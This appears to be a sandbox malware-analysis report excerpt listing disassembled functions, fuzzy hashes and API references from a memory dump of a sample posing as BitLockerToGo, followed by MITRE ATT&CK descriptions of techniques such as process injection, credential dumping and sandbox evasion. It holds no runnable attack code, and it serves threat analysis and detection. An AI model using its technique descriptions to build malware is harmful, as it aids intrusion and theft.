Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d6b26135a85f1ba36ec99bd4b3dc625d20bcced6620301fca5a619afc7e9557
Instruction ID: 8387d1e067be000d9de593ae7a891f20df9b4a4e9a7d14a4999170bdfca58a09
Opcode Fuzzy Hash: 8d6b26135a85f1ba36ec99bd4b3dc625d20bcced6620301fca5a619afc7e9557
Instruction Fuzzy Hash: 8402A2366083408FDB15CF19C88176ABBE6EFD9304F09886DE8898F352D775E905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00357ABA Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe0f9fa2561e7368ab496340023ecfd75a1fe8a5d5a0fcd6ad6aad92c50549c4
Instruction ID: d9b830efead7007a4e91a08700b0287fdddd5353c9bf2b334464e3dfbbb48bb4
Opcode Fuzzy Hash: fe0f9fa2561e7368ab496340023ecfd75a1fe8a5d5a0fcd6ad6aad92c50549c4
Instruction Fuzzy Hash: 21B18BB12047018BD725CF28D891B62B7F2FF49315F198658DC9A8F7A6E734E845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00351419 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8190cc492e340a51b6b35b407e11beada39fc432861bdd727f27d492d63f85
Instruction ID: aaab310084cd50c80b6b7791ca34cb98654385e62f1a0d475bfa77d277c6d024
Opcode Fuzzy Hash: af8190cc492e340a51b6b35b407e11beada39fc432861bdd727f27d492d63f85
Instruction Fuzzy Hash: D4815CB0600B018FD32ACF24C491B63B7F5BB56315F154A1DD8AA876A2E774F849CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0035DB00 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef98256864dac467bb0c913b24d1acb141648e62bd8da7f443f5e24e66b6c3d7
Instruction ID: d17a2bf9d44d469debcc78dd7dc286b0a69276b9702534b768eae1604c43202d
Opcode Fuzzy Hash: ef98256864dac467bb0c913b24d1acb141648e62bd8da7f443f5e24e66b6c3d7
Instruction Fuzzy Hash: 0E618DB5508301DFD715CF14D891B2AB7E9FF89315F0589ACE886973A0D774E844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00377090 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fbc5abad996672f1a45e4ee74135ca59843cb83727992447485a450cc8c3834
Instruction ID: 51aeb39b80fa29d1beaa70ae6517a0336e20da4513ce9b57442ebee6bebf4b6a
Opcode Fuzzy Hash: 6fbc5abad996672f1a45e4ee74135ca59843cb83727992447485a450cc8c3834
Instruction Fuzzy Hash: E4519CB15087458FE724DF29D89075BBBE1AB84308F018D2DE4E987391E379DA09CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00355470 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf84e48dbd43170f1d59f1b84b013a24723564afef5a46c1aba952100f64a2f
Instruction ID: 4af0489d704aa55f7a2e1c4a7de598d82f1cf5abf33a4012648075efe4137054
Opcode Fuzzy Hash: dbf84e48dbd43170f1d59f1b84b013a24723564afef5a46c1aba952100f64a2f
Instruction Fuzzy Hash: EE413CB19087049BD7229F54C890F26B7E9EF62316F164968EC9E4B261F775F80CC351

Uniqueness

Uniqueness Score: -1.00%

Function 00354D32 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd9bcb71a045da224c68f05c82780d781f6135878f43a61b17ca46c96d35ea3b
Instruction ID: b094180da7dd976a9156eca8f7acf2af34345bef6f7c61d51843ed21b094f31f
Opcode Fuzzy Hash: bd9bcb71a045da224c68f05c82780d781f6135878f43a61b17ca46c96d35ea3b
Instruction Fuzzy Hash: 1F415B74204B008FD72ECF25D4A1B77B7A3BF8830DF195A1CC99B47AA6C731A8458B44

Uniqueness

Uniqueness Score: -1.00%

Function 00350390 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94f83764ac784f8bcd724b9115e021ccd4847c50ff345a11ab5d229526726a26
Instruction ID: 0e6d890cdc04d500dd17f39e04d4b799c54bdce7c7851e3746bd8d673d1b47b7
Opcode Fuzzy Hash: 94f83764ac784f8bcd724b9115e021ccd4847c50ff345a11ab5d229526726a26
Instruction Fuzzy Hash: 5C412AB620C2504FE30D8A3AC86077ABBD2DFC5351F06866DF5E9473D1D6398846EB11

Uniqueness

Uniqueness Score: -1.00%

Function 0038170F Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58dec86e29d6626219f382e541d448c939a58570d491cccc701e37d8f85acba2
Instruction ID: 09db06254264f632015d89bed9fca4f63b64db07bc818d1fcfe5bb7aa6cc9e53
Opcode Fuzzy Hash: 58dec86e29d6626219f382e541d448c939a58570d491cccc701e37d8f85acba2
Instruction Fuzzy Hash: 8A214E2642DFF92FEB23CA3245661863FE69C0331634BA0C7C481CB053E1A64876F391

Uniqueness

Uniqueness Score: -1.00%

Function 00343360 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98e2127ee693a198c32089be9b47b6e9aa5dfed41bf5dc2a7c8b7d5b668d5a4d
Instruction ID: e7efafca326dbb637c22703ab2e90cd6b2397d70f17b04cd95a1220eb27910cb
Opcode Fuzzy Hash: 98e2127ee693a198c32089be9b47b6e9aa5dfed41bf5dc2a7c8b7d5b668d5a4d
Instruction Fuzzy Hash: CC212935B142710BD396CE3A8CD0167B7D6DFC6311B1F42B5D6909B753C621E80A8360

Uniqueness

Uniqueness Score: -1.00%

Function 00342650 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7837847baf4d7a702fb64cb8fdb37515a39ded7ff7efed2f93baf57a950bc02d
Instruction ID: 4cac86abd1d34cec40b36e9d8648a4be4611bee98910d5d75eff92c3a6a27419
Opcode Fuzzy Hash: 7837847baf4d7a702fb64cb8fdb37515a39ded7ff7efed2f93baf57a950bc02d
Instruction Fuzzy Hash: 5C31B3306142109BC7169E18C880A2BB7E5EF85318F5B892DF899EF251D779EC52CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0034FE47 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58800507e7c6a13085e3606b02133bbf253e4c0520d8a3c87d012868b904e924
Instruction ID: 892177226ce450d82198bbc92978f37f727684cf90a0bf8a5dea46e05ba7e7f4
Opcode Fuzzy Hash: 58800507e7c6a13085e3606b02133bbf253e4c0520d8a3c87d012868b904e924
Instruction Fuzzy Hash: 45212776608350AFD314CF24C89475BF7E6BBC8714F498A1DF899A7291D770E904CB86

Uniqueness

Uniqueness Score: -1.00%

Function 003750A0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 38e8a9d5d1471838763034e7859b65fd49df7f91dfd193aaa481faeb888ad3b1
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 58112933B045D00EC72B8D3C8410665BFA31A93335B69C399F4BC9B2D2DA278D8A8350

Uniqueness

Uniqueness Score: -1.00%

Function 003658B0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3126e878867258bebc8578ed967df2430b67335de5c6ce3b18da37751b9c99
Instruction ID: f11e8c192233db6c2156c5a215501d0e86732f98e94b9de90079a8e36207605b
Opcode Fuzzy Hash: be3126e878867258bebc8578ed967df2430b67335de5c6ce3b18da37751b9c99
Instruction Fuzzy Hash: 6201B1F1B00B0187EB22AF2494C073BB2E86F94714F09843CEA094F606DBB1EC0486A5

Uniqueness

Uniqueness Score: -1.00%

Function 0037A930 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5eb0a81b9c124b14c95e1bd677799663f4091c8a3841e18d622e81dd2171736
Instruction ID: 52899416cb9b235185b3b1d7dad2672b01befe429f03c03c0558c715789690bd
Opcode Fuzzy Hash: f5eb0a81b9c124b14c95e1bd677799663f4091c8a3841e18d622e81dd2171736
Instruction Fuzzy Hash: EC218CB2619301AFE709CF25D851B5FBBE2ABC5314F58CA1CE8A597341D338D9068B87

Uniqueness

Uniqueness Score: -1.00%

Function 0037DFE0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4b155c915e11dc12f0216b57c55098f890df1d55a025ca6babf99b32d57a7b
Instruction ID: 190615b90e378739ce95a8aacba115837ea2d591a017f6c6af61b876dc668f6b
Opcode Fuzzy Hash: ee4b155c915e11dc12f0216b57c55098f890df1d55a025ca6babf99b32d57a7b
Instruction Fuzzy Hash: 170128858085E0069237036341747B7BEE9185F3097CEC8CEE4EE2B653D24E9D08DF91

Uniqueness

Uniqueness Score: -1.00%

Function 0037D265 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f5d4e91eb7259ef8df8b8cd720f507bf4db0531846ea7c2532c6a8207cc612c
Instruction ID: 7cb6a28e2ad4378f3c997435151bd325b40dc89502ea3d35da581a98a0ccd827
Opcode Fuzzy Hash: 6f5d4e91eb7259ef8df8b8cd720f507bf4db0531846ea7c2532c6a8207cc612c
Instruction Fuzzy Hash: 3EF0307AA042119BCB6CCF06CC51176B3B2EB95311B4DE42EE98AE3251D638DC459B45

Uniqueness

Uniqueness Score: -1.00%

Function 0034D650 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: cea7b518d7393783f8b870a18d0225d046e33bddd7910fbdc6d6eb9f22c3f963
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 7ED097606083A40E47098D3800A0837FBE8E943612F09209EE0C5E7004C228EC014698

Uniqueness

Uniqueness Score: -1.00%

Function 0037D48A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 864bb7a31b99ff9201f69160e01ba1eef663136855ec6b3341688f3ef344690c
Instruction ID: 76db7cd5bcdc379fc5db394ad8a5d8edfb136f7c545da27947693a6ffdd1a6dc
Opcode Fuzzy Hash: 864bb7a31b99ff9201f69160e01ba1eef663136855ec6b3341688f3ef344690c
Instruction Fuzzy Hash: 35D0C934614245CBC208CE64D880976F37AAF8A308F10E198D54653716C370E8028A08

Uniqueness

Uniqueness Score: -1.00%

Function 0037E09F Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0fb504a2c9cd8563f6d7eb8ed55ca4f569402a3eaa0001b1720c1db504b225b
Instruction ID: f18aac3456ff65c109beb1d9b0a79b6349277bf3dce99d0d42b2803710332977
Opcode Fuzzy Hash: b0fb504a2c9cd8563f6d7eb8ed55ca4f569402a3eaa0001b1720c1db504b225b
Instruction Fuzzy Hash: 09D0C9745181448FC30DCF04D850831B7BAEF96304B24B05C948617712C2309416CB08

Uniqueness

Uniqueness Score: -1.00%

Function 0037C436 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 360327b0896258e4a1bab9b85f525f069531b0e62bd992a2af139eef9aa8ac71
Instruction ID: 5bf0e5b85cee03aa1bb1037b5a614f755198a71ef70024dc6866dfd3d9af4462
Opcode Fuzzy Hash: 360327b0896258e4a1bab9b85f525f069531b0e62bd992a2af139eef9aa8ac71
Instruction Fuzzy Hash: 34C04C74A4860097D64DCF04DD50435B37ABB8B345B24E04AC15213359D23494118649

Uniqueness

Uniqueness Score: -1.00%

Function 0037DE9C Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ede684d84347da4f268af03338800156bc1a0148d483310f7c8aeadb11ffe28
Instruction ID: a0a1ff01c3c3ed6be8379b089e293ace55cae41f869044342ed85f637f1bb4b1
Opcode Fuzzy Hash: 9ede684d84347da4f268af03338800156bc1a0148d483310f7c8aeadb11ffe28
Instruction Fuzzy Hash: 9DC00270A0D340DBD346CE01C14466AF3F5BB96318F10E91CE18A2B641C239ED049F46

Uniqueness

Uniqueness Score: -1.00%

Function 0037DEB1 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cec6a26253af59a2a21650884efd02807bc3a63d8d62a4a557ed1da8606d673
Instruction ID: 90fbbc14ed3223ce1bd5e9c154577ff5acd3f19452f7cfd981e12edfdcbbd74e
Opcode Fuzzy Hash: 1cec6a26253af59a2a21650884efd02807bc3a63d8d62a4a557ed1da8606d673
Instruction Fuzzy Hash: 15B00934B4C1009BC709DE18D29187AF3F9AB9F701F21A959A48AA7255C630EC01AA4A

Uniqueness

Uniqueness Score: -1.00%

Function 00370F58 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00370FE4
GetSystemMetrics.USER32 ref: 00370FF5
DeleteObject.GDI32 ref: 00371054
SelectObject.GDI32 ref: 003710A5
SelectObject.GDI32 ref: 00371145
DeleteObject.GDI32 ref: 00371182

Strings

, xrefs: 00371118

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: 3ebcae9bd2eced7d40126d3956ed01cdbf18cef6eb447d395be8ef6511b9502e
Instruction ID: f5fcf87c087d130a6ace4cec7e63a47dd547ac61e9dfcad3dd33418e480aeb34
Opcode Fuzzy Hash: 3ebcae9bd2eced7d40126d3956ed01cdbf18cef6eb447d395be8ef6511b9502e
Instruction Fuzzy Hash: E291ABB4904B009FD364EF28D985B16BBF4FF49300F10896DE99A8B760DB35A845CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00377303 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 173COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000D,?,00000008,?), ref: 003773DE

Strings

Hb8, xrefs: 00377425

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Hb8
API String ID: 237503144-4261524689
Opcode ID: 7b12aacf0e98f80826b9512aa57fd3508378b0d8659316e357e1a43b94aea18e
Instruction ID: 9c00a050a9a4b7988737211bc23510733b849978f93014df4ebb21dfdec017f6
Opcode Fuzzy Hash: 7b12aacf0e98f80826b9512aa57fd3508378b0d8659316e357e1a43b94aea18e
Instruction Fuzzy Hash: FF514CB55007019FE328CF29C445A16BBF5FB49314F158A5DE8AA8F781D374E886CBD1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

